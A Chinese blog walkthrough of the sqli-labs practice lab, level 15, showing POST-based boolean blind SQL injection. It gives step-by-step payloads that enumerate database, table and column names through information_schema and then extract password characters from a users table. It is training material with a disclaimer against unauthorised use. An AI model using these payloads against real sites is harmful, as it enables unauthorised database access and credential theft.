sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路

文章目录

  • 前言
  • 回顾上一关知识点
  • 二、靶场第十五关通关思路
    • 1、判断注入点
    • 2、猜数据库长度
    • 3、猜数据库名字
    • 4、猜表名长度
    • 5、猜表名名字
    • 6、猜列名长度
    • 7、猜列名名字
    • 8、猜数据长度
    • 9、猜数据名字
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


回顾上一关知识点

上一关我们是用报错盲注来完成的,因为页面没有回显内容。

二、靶场第十五关通关思路

  • 1、判断注入点
  • 2、猜数据库长度
  • 3、猜数据库名字
  • 4、猜表名长度
  • 5、猜表名名字
  • 6、猜列名长度
  • 7、猜列名名字
  • 8、猜数据长度
  • 9、猜数据名字

1、判断注入点

老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常。输入1’发现并没有报错,输入1"发现也没有报错。这次连闭合报错的信息都没有了,所以不能用报错注入了。这里可以用布尔盲注或时间盲注。这里我用布尔盲注

1 or 1=1 
1 or 1=2 

发现页面没有变化,说明不是数字型。

1' or 1=1#
1' or 1=2#

发现1=1页面successfully,1=2failed说明是单引号闭合。
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第1张图片
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第2张图片

2、猜数据库长度

注入语句为

1' or length(database())>7#

发现数据库长度大于7页面登录成功,大于8登录失败
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第3张图片
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第4张图片

3、猜数据库名字

注入语句为

1' or ascii(substr(database(),1,1))>114#

(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security

sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第5张图片

sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第6张图片

4、猜表名长度

注入语句为

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第7张图片
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第8张图片
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

5、猜表名名字

1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users

sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第9张图片
注意:这里为什么我直接查第四个表名了,因为我是知道这个表名才是我们要查的表名,实战如果是手工注入就得一个个表名猜,用工具就不用这么麻烦。

6、猜列名长度

注入语句为

1' or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#

(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第10张图片
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第11张图片

7、猜列名名字

注入语句为

1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。

sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第12张图片
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第13张图片

8、猜数据长度

注入语句为

1' or length((select password from users limit 0,1))>3#

(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第14张图片

sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第15张图片

9、猜数据名字

注入语句为

1' or ascii(substr((select password from users limit 0,1),1,1))>67#

(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第16张图片
sqli-labs关卡15(基于post提交的单引号布尔盲注)通关思路_第17张图片


总结

这是典型布尔盲注,之前在靶场第八关写过类似的,只不过这里是post类型罢了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

你可能感兴趣的:(sqli-labs靶场,数据库,web安全)